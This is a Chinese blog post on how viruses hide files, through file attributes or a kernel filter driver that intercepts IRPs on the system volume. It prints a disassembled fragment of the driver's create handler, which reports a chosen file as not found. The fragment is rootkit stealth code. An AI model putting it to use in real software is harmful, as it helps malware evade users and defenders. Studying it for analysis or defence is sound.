病毒常用方法之隐身术

 什么是隐身术呢?哈利波特在实验室里穿上隐身衣,教授就看不见他们了;孙悟空72变,隐个身那也是小菜一碟。总之,隐身术就是在一定环境下让别人看不到自己。做坏事肯定不想被抓住,所以就找一些方法来隐藏自己的痕迹。目前我知道的有2种:1,通过设置文件的属性来实现文件隐藏,这种方法操作简单,效果可以达到,但留下了一些马脚(当通过正常操作打开文件夹时,在窗体的最下端有一块位置会显示-----有多少个对象,这时如果有隐藏对象(通过这种方法实现的 )就会发现后面还有一个括号---有几个隐藏对象;2,通过内核模块在文件系统上作手脚,这种方法与上一个比实现起来就要麻烦很多了。它的主要思路是创建DeviceObejct并Attach(附加)到文件设备对象上(也就是C盘)来处理IRP,检测对应的操作参数中是否与要保护的文件名相关,如果是,就返回不存在。
 下面是一个内核模块实现文件隐藏的关键部分:
    mov  ebx,ds:MmIsAddressValid
    push esi   ;保存现场
    push edi
    mov  edi,[ebp+Irp]
    mov  esi,[edi+60h]    ;PIO_STACK_LOCATION CurrentStackLocation    ---esi
    mov  eax,[esi+0ch]
    mov  [esp+20h+var_8],eax
    mov  eax,[esi+10h]
    mov  [esp+20h+var_4],eax
    mov  eax,[esi+4]
    inc  byte ptr [edi+23h] ;CurrentLocation
    mov  [esp+20h+var_10],eax
    lea  eax,[esi+24h]
    mov  [edi+60h],eax
    cmp  byte ptr [esi],0 ;CurrentStackLocation->MajorFunction==IRP_MJ_CREATE=0
    jnz  short loc_10400
    push dword ptr [esi+18h] ;CurrentStackLocation->FileObject 
    call ebx  ;MmIsAddressValid    
    test al,al    ;0---->失败  
    jz   short loc_10400  
    mov  eax,[esi+18h]
    push dword ptr [eax+34h] ;FileObject->FileName.Buffer  
    call ebx 
    test al,al 
    jz   short loc_10400 
    mov  eax,[esi+18h]
    mov  eax,[eax+34h]
    mov  edx, offset (要隐藏文件名的地址) 
    call CompareStr  ;比较字符串,相等返回0  
    test eax,eax 
    jnz  short loc_10400  
    mov  eax,[edi+28h] ;Irp->UserIosb 
    mov  esi,0C0000034h ;#define STATUS_OBJECT_NAME_NOT_FOUND ((NTSTATUS)0xC0000034hL)  
    mov  [edi+18h],esi; Irp->IoStatus.Status=esi 
    xor  dl,dl
    mov  ecx,edi 
    mov  [eax],esi  ;UserIosb->Status=esi 
    call ds:IofCompleteRequest ;f代表fastcall函数调用方式,ecx,edx 用来装载实参  
    ;IoCompleteRequest()表明完成对I/O request所有的加工处理,将 IRP 还给 I/O manager(翻译自ddk文档)

紧接着还有关于IRP_MJ _READ和IRP_MJ_QUERY_INFORMATION的处理,和上面类似,但要复杂一点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值